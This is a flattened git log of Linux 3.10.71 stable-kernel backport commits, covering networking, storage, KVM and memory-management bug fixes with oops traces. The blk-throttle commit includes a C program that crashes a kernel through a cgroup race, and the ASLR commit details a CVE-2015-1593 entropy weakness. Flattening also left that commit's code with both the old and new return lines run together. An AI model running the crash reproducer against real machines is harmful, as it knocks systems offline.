can be reproduced on newer kernels, but miss-configured sysctl_user_reserve_kbytes is required. Fix this issue by switching to signed arithmetic here. [akpm@linux-foundation.org: use min_t] Signed-off-by: Roman Gushchin Cc: Andrew Shewmaker Cc: Rik van Riel Cc: Konstantin Khlebnikov Reviewed-by: Michal Hocko Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 95ca3d819da5a23d283a4fd7b27da8ecf5735231 Author: Naoya Horiguchi Date: Wed Feb 11 15:25:32 2015 -0800 mm/hugetlb: add migration entry check in __unmap_hugepage_range commit 9fbc1f635fd0bd28cb32550211bf095753ac637a upstream. If __unmap_hugepage_range() tries to unmap the address range over which hugepage migration is on the way, we get the wrong page because pte_page() doesn't work for migration entries. This patch simply clears the pte for migration entries as we do for hwpoison entries. Fixes: 290408d4a2 ("hugetlb: hugepage migration core") Signed-off-by: Naoya Horiguchi Cc: Hugh Dickins Cc: James Hogan Cc: David Rientjes Cc: Mel Gorman Cc: Johannes Weiner Cc: Michal Hocko Cc: Rik van Riel Cc: Andrea Arcangeli Cc: Luiz Capitulino Cc: Nishanth Aravamudan Cc: Lee Schermerhorn Cc: Steve Capper Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c630e05c28f49b9d0241431d54228d7ff6b62597 Author: Jiri Pirko Date: Wed Mar 4 08:36:31 2015 +0100 team: don't traverse port list using rcu in team_set_mac_address [ Upstream commit 9215f437b85da339a7dfe3db6e288637406f88b2 ] Currently the list is traversed using rcu variant. That is not correct since dev_set_mac_address can be called which eventually calls rtmsg_ifinfo_build_skb and there, skb allocation can sleep. So fix this by remove the rcu usage here. Fixes: 3d249d4ca7 "net: introduce ethernet teaming device" Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a4ab3bedfbb93e0522895e4252563a002cca3558 Author: Michal KubeÄek Date: Mon Mar 2 18:27:11 2015 +0100 udp: only allow UFO for packets from SOCK_DGRAM sockets [ Upstream commit acf8dd0a9d0b9e4cdb597c2f74802f79c699e802 ] If an over-MTU UDP datagram is sent through a SOCK_RAW socket to a UFO-capable device, ip_ufo_append_data() sets skb->ip_summed to CHECKSUM_PARTIAL unconditionally as all GSO code assumes transport layer checksum is to be computed on segmentation. However, in this case, skb->csum_start and skb->csum_offset are never set as raw socket transmit path bypasses udp_send_skb() where they are usually set. As a result, driver may access invalid memory when trying to calculate the checksum and store the result (as observed in virtio_net driver). Moreover, the very idea of modifying the userspace provided UDP header is IMHO against raw socket semantics (I wasn't able to find a document clearly stating this or the opposite, though). And while allowing CHECKSUM_NONE in the UFO case would be more efficient, it would be a bit too intrusive change just to handle a corner case like this. Therefore disallowing UFO for packets from SOCK_DGRAM seems to be the best option. Signed-off-by: Michal Kubecek Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ec0ef968ff797d0cefee89ffde4b0b051eac0716 Author: Ben Shelton Date: Mon Feb 16 13:47:06 2015 -0600 usb: plusb: Add support for National Instruments host-to-host cable [ Upstream commit 42c972a1f390e3bc51ca1e434b7e28764992067f ] The National Instruments USB Host-to-Host Cable is based on the Prolific PL-25A1 chipset. Add its VID/PID so the plusb driver will recognize it. Signed-off-by: Ben Shelton Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2ef982982bed1fe71d4cf1a57ceb38a2e3a59133 Author: Eric Dumazet Date: Fri Feb 27 18:35:35 2015 -0800 macvtap: make sure neighbour code can push ethernet header [ Upstream commit 2f1d8b9e8afa5a833d96afcd23abcb8cdf8d83ab ] Brian reported crashes using IPv6 traffic with macvtap/veth combo. I tracked the crashes in neigh_hh_output() -> memcpy(skb->data - HH_DATA_MOD, hh->hh_data, HH_DATA_MOD); Neighbour code assumes headroom to push Ethernet header is at least 16 bytes. It appears macvtap has only 14 bytes available on arches where NET_IP_ALIGN is 0 (like x86) Effect is a corruption of 2 bytes right before skb->head, and possible crashes if accessing non existing memory. This fix should also increase IPv4 performance, as paranoid code in ip_finish_output2() wont have to call skb_realloc_headroom() Reported-by: Brian Rak Tested-by: Brian Rak Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ab74e5dd16e8e83dd07c3fcb9cb25d596df8c1bc Author: Catalin Marinas Date: Mon Feb 23 18:12:56 2015 +0000 net: compat: Ignore MSG_CMSG_COMPAT in compat_sys_{send, recv}msg [ Upstream commit d720d8cec563ce4e4fa44a613d4f2dcb1caf2998 ] With commit a7526eb5d06b (net: Unbreak compat_sys_{send,recv}msg), the MSG_CMSG_COMPAT flag is blocked at the compat syscall entry points, changing the kernel compat behaviour from the one before the commit it was trying to fix (1be374a0518a, net: Block MSG_CMSG_COMPAT in send(m)msg and recv(m)msg). On 32-bit kernels (!CONFIG_COMPAT), MSG_CMSG_COMPAT is 0 and the native 32-bit sys_sendmsg() allows flag 0x80000000 to be set (it is ignored by the kernel). However, on a 64-bit kernel, the compat ABI is different with commit a7526eb5d06b. This patch changes the compat_sys_{send,recv}msg behaviour to the one prior to commit 1be374a0518a. The problem was found running 32-bit LTP (sendmsg01) binary on an arm64 kernel. Arguably, LTP should not pass 0xffffffff as flags to sendmsg() but the general rule is not to break user ABI (even when the user behaviour is not entirely sane). Fixes: a7526eb5d06b (net: Unbreak compat_sys_{send,recv}msg) Cc: Andy Lutomirski Cc: David S. Miller Signed-off-by: Catalin Marinas Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 92beb790e53d01e6a27bd5bbabfb7fd1ac10652e Author: Jiri Pirko Date: Mon Feb 23 14:02:54 2015 +0100 team: fix possible null pointer dereference in team_handle_frame [ Upstream commit 57e595631904c827cfa1a0f7bbd7cc9a49da5745 ] Currently following race is possible in team: CPU0 CPU1 team_port_del team_upper_dev_unlink priv_flags &= ~IFF_TEAM_PORT team_handle_frame team_port_get_rcu team_port_exists priv_flags & IFF_TEAM_PORT == 0 return NULL (instead of port got from rx_handler_data) netdev_rx_handler_unregister The thing is that the flag is removed before rx_handler is unregistered. If team_handle_frame is called in between, team_port_exists returns 0 and team_port_get_rcu will return NULL. So do not check the flag here. It is guaranteed by netdev_rx_handler_unregister that team_handle_frame will always see valid rx_handler_data pointer. Signed-off-by: Jiri Pirko Fixes: 3d249d4ca7d0 ("net: introduce ethernet teaming device") Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6268683830bda32c2a5eb46c2413dcd34994f8d7 Author: Matthew Thode Date: Tue Feb 17 18:31:57 2015 -0600 net: reject creation of netdev names with colons [ Upstream commit a4176a9391868bfa87705bcd2e3b49e9b9dd2996 ] colons are used as a separator in netdev device lookup in dev_ioctl.c Specific functions are SIOCGIFTXQLEN SIOCETHTOOL SIOCSIFNAME Signed-off-by: Matthew Thode Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b3d55b2b78186102cea58472301b3d81424a69cc Author: Ignacy GawÄ™dzki Date: Tue Feb 17 20:15:20 2015 +0100 ematch: Fix auto-loading of ematch modules. [ Upstream commit 34eea79e2664b314cab6a30fc582fdfa7a1bb1df ] In tcf_em_validate(), after calling request_module() to load the kind-specific module, set em->ops to NULL before returning -EAGAIN, so that module_put() is not called again by tcf_em_tree_destroy(). Signed-off-by: Ignacy GawÄ™dzki Acked-by: Cong Wang Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 85a00b3e37d22e5a30670fb257f19b4d44de205b Author: Guenter Roeck Date: Tue Feb 17 09:36:22 2015 -0800 net: phy: Fix verification of EEE support in phy_init_eee [ Upstream commit 54da5a8be3c1e924c35480eb44c6e9b275f6444e ] phy_init_eee uses phy_find_setting(phydev->speed, phydev->duplex) to find a valid entry in the settings array for the given speed and duplex value. For full duplex 1000baseT, this will return the first matching entry, which is the entry for 1000baseKX_Full. If the phy eee does not support 1000baseKX_Full, this entry will not match, causing phy_init_eee to fail for no good reason. Fixes: 9a9c56cb34e6 ("net: phy: fix a bug when verify the EEE support") Fixes: 3e7077067e80c ("phy: Expand phy speed/duplex settings array") Cc: Giuseppe Cavallaro Signed-off-by: Guenter Roeck Acked-by: Florian Fainelli Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b2bb4f36572e71427c296fe45fb051df5bb70b56 Author: Greg Kroah-Hartman Date: Fri Mar 6 14:42:00 2015 -0800 Linux 3.10.71 Signed-off-by: Pranav Vashi commit 0964552f26e0822cbe85a47a4adc7415d1fbc7f4 Author: Ilya Dryomov Date: Tue Feb 17 19:37:15 2015 +0300 libceph: fix double __remove_osd() problem commit 7eb71e0351fbb1b242ae70abb7bb17107fe2f792 upstream. It turns out it's possible to get __remove_osd() called twice on the same OSD. That doesn't sit well with rb_erase() - depending on the shape of the tree we can get a NULL dereference, a soft lockup or a random crash at some point in the future as we end up touching freed memory. One scenario that I was able to reproduce is as follows: con_fault_finish() osd_reset() ceph_osdc_handle_map() kick_requests() reset_changed_osds() __reset_osd() __remove_osd() __kick_osd_requests() __reset_osd() __remove_osd() <-- !!! A case can be made that osd refcounting is imperfect and reworking it would be a proper resolution, but for now Sage and I decided to fix this by adding a safe guard around __remove_osd(). Fixes: http://tracker.ceph.com/issues/8087 Cc: Sage Weil Signed-off-by: Ilya Dryomov Reviewed-by: Sage Weil Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0081a8198c1f0474029a64c4b1fc82039199a8c4 Author: Ilya Dryomov Date: Wed Nov 5 19:33:44 2014 +0300 libceph: change from BUG to WARN for __remove_osd() asserts commit cc9f1f518cec079289d11d732efa490306b1ddad upstream. No reason to use BUG_ON for osd request list assertions. Signed-off-by: Ilya Dryomov Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fea640d5691cc43565d73c7729f4192c950e9f30 Author: Ilya Dryomov Date: Wed Jun 18 13:02:12 2014 +0400 libceph: assert both regular and lingering lists in __remove_osd() commit 7c6e6fc53e7335570ed82f77656cedce1502744e upstream. It is important that both regular and lingering requests lists are empty when the OSD is removed. Signed-off-by: Ilya Dryomov Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2534ac5568d5cb40a84495e089ccafa4bd694006 Author: James Hogan Date: Tue Feb 10 10:02:59 2015 +0000 MIPS: Export FP functions used by lose_fpu(1) for KVM commit 3ce465e04bfd8de9956d515d6e9587faac3375dc upstream. Export the _save_fp asm function used by the lose_fpu(1) macro to GPL modules so that KVM can make use of it when it is built as a module. This fixes the following build error when CONFIG_KVM=m due to commit f798217dfd03 ("KVM: MIPS: Don't leak FPU/DSP to guest"): ERROR: "_save_fp" [arch/mips/kvm/kvm.ko] undefined! Signed-off-by: James Hogan Fixes: f798217dfd03 (KVM: MIPS: Don't leak FPU/DSP to guest) Cc: Paolo Bonzini Cc: Ralf Baechle Cc: Paul Burton Cc: Gleb Natapov Cc: kvm@vger.kernel.org Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/9260/ Signed-off-by: Ralf Baechle [james.hogan@imgtec.com: Only export when CPU_R4K_FPU=y prior to v3.16, so as not to break the Octeon build which excludes FPU support. KVM depends on MIPS32r2 anyway.] Signed-off-by: James Hogan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4ae30df629ae1ad858429f3a9d2d587a33b088cb Author: Hector Marco-Gisbert Date: Sat Feb 14 09:33:50 2015 -0800 x86, mm/ASLR: Fix stack randomization on 64-bit systems commit 4e7c22d447bb6d7e37bfe39ff658486ae78e8d77 upstream. The issue is that the stack for processes is not properly randomized on 64 bit architectures due to an integer overflow. The affected function is randomize_stack_top() in file "fs/binfmt_elf.c": static unsigned long randomize_stack_top(unsigned long stack_top) { unsigned int random_variable = 0; if ((current->flags & PF_RANDOMIZE) && !(current->personality & ADDR_NO_RANDOMIZE)) { random_variable = get_random_int() & STACK_RND_MASK; random_variable <<= PAGE_SHIFT; } return PAGE_ALIGN(stack_top) + random_variable; return PAGE_ALIGN(stack_top) - random_variable; } Note that, it declares the "random_variable" variable as "unsigned int". Since the result of the shifting operation between STACK_RND_MASK (which is 0x3fffff on x86_64, 22 bits) and PAGE_SHIFT (which is 12 on x86_64): random_variable <<= PAGE_SHIFT; then the two leftmost bits are dropped when storing the result in the "random_variable". This variable shall be at least 34 bits long to hold the (22+12) result. These two dropped bits have an impact on the entropy of process stack. Concretely, the total stack entropy is reduced by four: from 2^28 to 2^30 (One fourth of expected entropy). This patch restores back the entropy by correcting the types involved in the operations in the functions randomize_stack_top() and stack_maxrandom_size(). The successful fix can be tested with: $ for i in `seq 1 10`; do cat /proc/self/maps | grep stack; done 7ffeda566000-7ffeda587000 rw-p 00000000 00:00 0 [stack] 7fff5a332000-7fff5a353000 rw-p 00000000 00:00 0 [stack] 7ffcdb7a1000-7ffcdb7c2000 rw-p 00000000 00:00 0 [stack] 7ffd5e2c4000-7ffd5e2e5000 rw-p 00000000 00:00 0 [stack] ... Once corrected, the leading bytes should be between 7ffc and 7fff, rather than always being 7fff. Signed-off-by: Hector Marco-Gisbert Signed-off-by: Ismael Ripoll [ Rebased, fixed 80 char bugs, cleaned up commit message, added test example and CVE ] Signed-off-by: Kees Cook Cc: Linus Torvalds Cc: Andrew Morton Cc: Al Viro Fixes: CVE-2015-1593 Link: http://lkml.kernel.org/r/20150214173350.GA18393@www.outflux.net Signed-off-by: Borislav Petkov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1f95264cdf93a558b46e51c0acb52cceb3851614 Author: Thadeu Lima de Souza Cascardo Date: Mon Feb 16 17:16:45 2015 -0200 blk-throttle: check stats_cpu before reading it from sysfs commit 045c47ca306acf30c740c285a77a4b4bda6be7c5 upstream. When reading blkio.throttle.io_serviced in a recently created blkio cgroup, it's possible to race against the creation of a throttle policy, which delays the allocation of stats_cpu. Like other functions in the throttle code, just checking for a NULL stats_cpu prevents the following oops caused by that race. [ 1117.285199] Unable to handle kernel paging request for data at address 0x7fb4d0020 [ 1117.285252] Faulting instruction address: 0xc0000000003efa2c [ 1137.733921] Oops: Kernel access of bad area, sig: 11 [#1] [ 1137.733945] SMP NR_CPUS=2048 NUMA PowerNV [ 1137.734025] Modules linked in: bridge stp llc kvm_hv kvm binfmt_misc autofs4 [ 1137.734102] CPU: 3 PID: 5302 Comm: blkcgroup Not tainted 3.19.0 #5 [ 1137.734132] task: c000000f1d188b00 ti: c000000f1d210000 task.ti: c000000f1d210000 [ 1137.734167] NIP: c0000000003efa2c LR: c0000000003ef9f0 CTR: c0000000003ef980 [ 1137.734202] REGS: c000000f1d213500 TRAP: 0300 Not tainted (3.19.0) [ 1137.734230] MSR: 9000000000009032 CR: 42008884 XER: 20000000 [ 1137.734325] CFAR: 0000000000008458 DAR: 00000007fb4d0020 DSISR: 40000000 SOFTE: 0 GPR00: c0000000003ed3a0 c000000f1d213780 c000000000c59538 0000000000000000 GPR04: 0000000000000800 0000000000000000 0000000000000000 0000000000000000 GPR08: ffffffffffffffff 00000007fb4d0020 00000007fb4d0000 c000000000780808 GPR12: 0000000022000888 c00000000fdc0d80 0000000000000000 0000000000000000 GPR16: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 GPR20: 000001003e120200 c000000f1d5b0cc0 0000000000000200 0000000000000000 GPR24: 0000000000000001 c000000000c269e0 0000000000000020 c000000f1d5b0c80 GPR28: c000000000ca3a08 c000000000ca3dec c000000f1c667e00 c000000f1d213850 [ 1137.734886] NIP [c0000000003efa2c] .tg_prfill_cpu_rwstat+0xac/0x180 [ 1137.734915] LR [c0000000003ef9f0] .tg_prfill_cpu_rwstat+0x70/0x180 [ 1137.734943] Call Trace: [ 1137.734952] [c000000f1d213780] [d000000005560520] 0xd000000005560520 (unreliable) [ 1137.734996] [c000000f1d2138a0] [c0000000003ed3a0] .blkcg_print_blkgs+0xe0/0x1a0 [ 1137.735039] [c000000f1d213960] [c0000000003efb50] .tg_print_cpu_rwstat+0x50/0x70 [ 1137.735082] [c000000f1d2139e0] [c000000000104b48] .cgroup_seqfile_show+0x58/0x150 [ 1137.735125] [c000000f1d213a70] [c0000000002749dc] .kernfs_seq_show+0x3c/0x50 [ 1137.735161] [c000000f1d213ae0] [c000000000218630] .seq_read+0xe0/0x510 [ 1137.735197] [c000000f1d213bd0] [c000000000275b04] .kernfs_fop_read+0x164/0x200 [ 1137.735240] [c000000f1d213c80] [c0000000001eb8e0] .__vfs_read+0x30/0x80 [ 1137.735276] [c000000f1d213cf0] [c0000000001eb9c4] .vfs_read+0x94/0x1b0 [ 1137.735312] [c000000f1d213d90] [c0000000001ebb38] .SyS_read+0x58/0x100 [ 1137.735349] [c000000f1d213e30] [c000000000009218] syscall_exit+0x0/0x98 [ 1137.735383] Instruction dump: [ 1137.735405] 7c6307b4 7f891800 409d00b8 60000000 60420000 3d420004 392a63b0 786a1f24 [ 1137.735471] 7d49502a e93e01c8 7d495214 7d2ad214 <7cead02a> e9090008 e9490010 e9290018 And here is one code that allows to easily reproduce this, although this has first been found by running docker. void run(pid_t pid) { int n; int status; int fd; char *buffer; buffer = memalign(BUFFER_ALIGN, BUFFER_SIZE); n = snprintf(buffer, BUFFER_SIZE, "%d\n", pid); fd = open(CGPATH "/test/tasks", O_WRONLY); write(fd, buffer, n); close(fd); if (fork() > 0) { fd = open("/dev/sda", O_RDONLY | O_DIRECT); read(fd, buffer, 512); close(fd); wait(&status); } else { fd = open(CGPATH "/test/blkio.throttle.io_serviced", O_RDONLY); n = read(fd, buffer, BUFFER_SIZE); close(fd); } free(buffer); exit(0); } void test(void) { int status; mkdir(CGPATH "/test", 0666); if (fork() > 0) wait(&status); else run(getpid()); rmdir(CGPATH "/test"); } int main(int argc, char **argv) { int i; for (i = 0; i < NR_TESTS; i++) test(); return 0; } Reported-by: Ricardo Marin Matinata Signed-off-by: Thadeu Lima de Souza Cascardo Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dd3ba45ff3470f66eaeab0c55d04c67d4d3cddcc Author: Chen Jie Date: Tue Feb 10 12:49:48 2015 -0800 jffs2: fix handling of corrupted summary length commit 164c24063a3eadee11b46575c5482b2f1417be49 upstream. sm->offset maybe wrong but magic maybe right, the offset do not have CRC. Badness at c00c7580 [verbose debug info unavailable] NIP: c00c7580 LR: c00c718c CTR: 00000014 REGS: df07bb40 TRAP: 0700 Not tainted (2.6.34.13-WR4.3.0.0_standard) MSR: 00029000 CR: 22084f84 XER: 00000000 TASK = df84d6e0[908] 'mount' THREAD: df07a000 GPR00: 00000001 df07bbf0 df84d6e0 00000000 00000001 00000000 df07bb58 00000041 GPR08: 00000041 c0638860 00000000 00000010 22084f88 100636c8 df814ff8 00000000 GPR16: df84d6e0 dfa558cc c05adb90 00000048 c0452d30 00000000 000240d0 000040d0 GPR24: 00000014 c05ae734 c05be2e0 00000000 00000001 00000000 00000000 c05ae730 NIP [c00c7580] __alloc_pages_nodemask+0x4d0/0x638 LR [c00c718c] __alloc_pages_nodemask+0xdc/0x638 Call Trace: [df07bbf0] [c00c718c] __alloc_pages_nodemask+0xdc/0x638 (unreliable) [df07bc90] [c00c7708] __get_free_pages+0x20/0x48 [df07bca0] [c00f4a40] __kmalloc+0x15c/0x1ec [df07bcd0] [c01fc880] jffs2_scan_medium+0xa58/0x14d0 [df07bd70] [c01ff38c] jffs2_do_mount_fs+0x1f4/0x6b4 [df07bdb0] [c020144c] jffs2_do_fill_super+0xa8/0x260 [df07bdd0] [c020230c] jffs2_fill_super+0x104/0x184 [df07be00] [c0335814] get_sb_mtd_aux+0x9c/0xec [df07be20] [c033596c] get_sb_mtd+0x84/0x1e8 [df07be60] [c0201ed0] jffs2_get_sb+0x1c/0x2c [df07be70] [c0103898] vfs_kern_mount+0x78/0x1e8 [df07bea0] [c0103a58] do_kern_mount+0x40/0x100 [df07bec0] [c011fe90] do_mount+0x240/0x890 [df07bf10] [c0120570] sys_mount+0x90/0xd8 [df07bf40] [c00110d8] ret_from_syscall+0x0/0x4 === Exception: c01 at 0xff61a34 LR = 0x100135f0 Instruction dump: 38800005 38600000 48010f41 4bfffe1c 4bfc2d15 4bfffe8c 72e90200 4082fc28 3d20c064 39298860 8809000d 68000001 <0f000000> 2f800000 419efc0c 38000001 mount: mounting /dev/mtdblock3 on /common failed: Input/output error Signed-off-by: Chen Jie Signed-off-by: Andrew Morton Signed-off-by: David Woodhouse Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 668cc1c84c6611c2a3218cd1c0beff5cc49589cd Author: Tomáš Hodek Date: Mon Feb 23 11:00:38 2015 +1100 md/raid1: fix read balance when a drive is write-mostly. commit d1901ef099c38afd11add4cfb3312c02ef21ec4a upstream. When a drive is marked write-mostly it should only be the target of reads if there is no other option. This behaviour was broken by commit 9dedf60313fa4dddfd5b9b226a0ef12a512bf9dc md/raid1: read balance chooses idlest disk for SSD which causes a write-mostly device to be *preferred* is some cases. Restore correct behaviour by checking and setting best_dist_disk and best_pending_disk rather than best_disk. We only need to test one of these as they are both changed from -1 or >=0 at the same time. As we leave min_pending and best_dist unchanged, any non-write-mostly device will appear better than the write-mostly device. Reported-by: Tomáš Hodek Reported-by: Dark Penguin Signed-off-by: NeilBrown Link: http://marc.info/?l=linux-raid&m=135982797322422 Fixes: 9dedf60313fa4dddfd5b9b226a0ef12a512bf9dc Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a42a596243fc82a3eac794fa028b410265ddf6af Author: NeilBrown Date: Wed Feb 18 11:35:14 2015 +1100 md/raid5: Fix livelock when array is both resyncing and degraded. commit 26ac107378c4742978216be1005b7291b799c7b2 upstream. Commit a7854487cd7128a30a7f4f5259de9f67d5efb95f: md: When RAID5 is dirty, force reconstruct-write instead of read-modify-write. Causes an RCW cycle to be forced even when the array is degraded. A degraded array cannot support RCW as that requires reading all data blocks, and one may be missing. Forcing an RCW when it is not possible causes a live-lock and the code spins, repeatedly deciding to do something that cannot succeed. So change the condition to only force RCW on non-degraded arrays. Reported-by: Manibalan P Bisected-by: Jes Sorensen Tested-by: Jes Sorensen Signed-off-by: NeilBrown Fixes: a7854487cd7128a30a7f4f5259de9f67d5efb95f Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 37302d3f77bf1d391fe56be1cc22abc5e8e36673 Author: James Hogan Date: Tue Feb 24 12:25:25 2015 +0000 metag: Fix KSTK_EIP() and KSTK_ESP() macros commit c2996cb29bfb73927a79dc96e598a718e843f01a upstream. The KSTK_EIP() and KSTK_ESP() macros should return the user program counter (PC) and stack pointer (A0StP) of the given task. These are used to determine which VMA corresponds to the user stack in /proc//maps, and for the user PC & A0StP in /proc//stat. However for Meta the PC & A0StP from the task's kernel context are used, resulting in broken output. For example in following /proc//maps output, the 3afff000-3b021000 VMA should be described as the stack: # cat /proc/self/maps ... 100b0000-100b1000 rwxp 00000000 00:00 0 [heap] 3afff000-3b021000 rwxp 00000000 00:00 0 And in the following /proc//stat output, the PC is in kernel code (1074234964 = 0x40078654) and the A0StP is in the kernel heap (1335981392 = 0x4fa17550): # cat /proc/self/stat 51 (cat) R ... 1335981392 1074234964 ... Fix the definitions of KSTK_EIP() and KSTK_ESP() to use task_pt_regs(tsk)->ctx rather than (tsk)->thread.kernel_context. This gets the registers from the user context stored after the thread info at the base of the kernel stack, which is from the last entry into the kernel from userland, regardless of where in the kernel the task may have been interrupted, which results in the following more correct /proc//maps output: # cat /proc/self/maps ... 0800b000-08070000 r-xp 00000000 00:02 207 /lib/libuClibc-0.9.34-git.so ... 100b0000-100b1000 rwxp 00000000 00:00 0 [heap] 3afff000-3b021000 rwxp 00000000 00:00 0 [stack] And /proc//stat now correctly reports the PC in libuClibc (134320308 = 0x80190b4) and the A0StP in the [stack] region (989864576 = 0x3b002280): # cat /proc/self/stat 51 (cat) R ... 989864576 134320308 ... Reported-by: Alexey Brodkin Reported-by: Vineet Gupta Signed-off-by: James Hogan Cc: linux-metag@vger.kernel.org Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 05ab42f331cc47ce08a675342ceae357d768a73a Author: Nicolas Saenz Julienne Date: Thu Feb 19 01:52:25 2015 +0000 gpio: tps65912: fix wrong container_of arguments commit 2f97c20e5f7c3582c7310f65a04465bfb0fd0e85 upstream. The gpio_chip operations receive a pointer the gpio_chip struct which is contained in the driver's private struct, yet the container_of call in those functions point to the mfd struct defined in include/linux/mfd/tps65912.h. Signed-off-by: Nicolas Saenz Julienne Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ad5a4c920daa409b4aff046a46aac17513c8c863 Author: Catalin Marinas Date: Mon Feb 23 15:13:40 2015 +0000 arm64: compat Fix siginfo_t -> compat_siginfo_t conversion on big endian commit 9d42d48a342aee208c1154696196497fdc556bbf upstream. The native (64-bit) sigval_t union contains sival_int (32-bit) and sival_ptr (64-bit). When a compat application invokes a syscall that takes a sigval_t value (as part of a larger structure, e.g. compat_sys_mq_notify, compat_sys_timer_create), the compat_sigval_t union is converted to the native sigval_t with sival_int overlapping with either the least or the most significant half of sival_ptr, depending on endianness. When the corresponding signal is delivered to a compat application, on big endian the current (compat_uptr_t)sival_ptr cast always returns 0 since sival_int corresponds to the top part of sival_ptr. This patch fixes copy_siginfo_to_user32() so that sival_int is copied to the compat_siginfo_t structure. Reported-by: Bamvor Jian Zhang Tested-by: Bamvor Jian Zhang Signed-off-by: Catalin Marinas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bb36f510feecb6b78e0499501e0060fb39d7aec0 Author: Martin Vajnar Date: Wed Dec 24 00:27:57 2014 +0100 hx4700: regulator: declare full constraints commit a52d209336f8fc7483a8c7f4a8a7d2a8e1692a6c upstream. Since the removal of CONFIG_REGULATOR_DUMMY option, the touchscreen stopped working. This patch enables the "replacement" for REGULATOR_DUMMY and allows the touchscreen to work even though there is no regulator for "vcc". Signed-off-by: Martin Vajnar Signed-off-by: Robert Jarzmik Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit df7cfb5c9f6bc1fd065d2497acfc2773b2f1a869 Author: Marcelo Tosatti Date: Tue Nov 4 21:30:44 2014 -0200 KVM: x86: update masterclock values on TSC writes commit 7f187922ddf6b67f2999a76dcb71663097b75497 upstream. When the guest writes to the TSC, the masterclock TSC copy must be updated as well along with the TSC_OFFSET update, otherwise a negative tsc_timestamp is calculated at kvm_guest_time_update. Once "if (!vcpus_matched && ka->use_master_clock)" is simplified to "if (ka->use_master_clock)", the corresponding "if (!ka->use_master_clock)" becomes redundant, so remove the do_request boolean and collapse everything into a single condition. Signed-off-by: Marcelo Tosatti Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0f1b7c2c81e5bbc6bacd9c58eae946cfe32c9f54 Author: James Hogan Date: Wed Feb 4 17:06:37 2015 +0000 KVM: MIPS: Don't leak FPU/DSP to guest commit f798217dfd038af981a18bbe4bc57027a08bb182 upstream. The FPU and DSP are enabled via the CP0 Status CU1 and MX bits by kvm_mips_set_c0_status() on a guest exit, presumably in case there is active state that needs saving if pre-emption occurs. However neither of these bits are cleared again when returning to the guest. This effectively gives the guest access to the FPU/DSP hardware after the first guest exit even though it is not aware of its presence, allowing FP instructions in guest user code to intermittently actually execute instead of trapping into the guest OS for emulation. It will then read & manipulate the hardware FP registers which technically belong to the user process (e.g. QEMU), or are stale from another user process. It can also crash the guest OS by causing an FP exception, for which a guest exception handler won't have been registered. First lets save and disable the FPU (and MSA) state with lose_fpu(1) before entering the guest. This simplifies the problem, especially for when guest FPU/MSA support is added in the future, and prevents FR=1 FPU state being live when the FR bit gets cleared for the guest, which according to the architecture causes the contents of the FPU and vector registers to become UNPREDICTABLE. We can then safely remove the enabling of the FPU in kvm_mips_set_c0_status(), since there should never be any active FPU or MSA state to save at pre-emption, which should plug the FPU leak. DSP state is always live rather than being lazily restored, so for that it is simpler to just clear the MX bit again when re-entering the guest. Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: Ralf Baechle Cc: Sanjay Lal Cc: Gleb Natapov Cc: kvm@vger.kernel.org Cc: linux-mips@linux-mips.org Cc: # v3.10+: 044f0f03eca0: MIPS: KVM: Deliver guest interrupts Cc: # v3.10+ Signed-off-by: Paolo Bonzini Signed-off-by: James Hogan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4e1d8c004ddb02e737fdf07e2abc936ca2d3a348 Author: Alexey Brodkin Date: Thu Feb 12 21:10:11 2015 +0300 ARC: fix page address calculation if PAGE_OFFSET != LINUX_LINK_BASE commit 06f34e1c28f3608b0ce5b310e41102d3fe7b65a1 upstream. We used to calculate page address differently in 2 cases: 1. In virt_to_page(x) we do --->8--- mem_map + (x - CONFIG_LINUX_LINK_BASE) >> PAGE_SHIFT --->8--- 2. In in pte_page(x) we do --->8--- mem_map + (pte_val(x) - PAGE_OFFSET) >> PAGE_SHIFT --->8--- That leads to problems in case PAGE_OFFSET != CONFIG_LINUX_LINK_BASE - different pages will be selected depending on where and how we calculate page address. In particular in the STAR 9000853582 when gdb attempted to read memory of another process it got improper page in get_user_pages() because this is exactly one of the places where we search for a page by pte_page(). 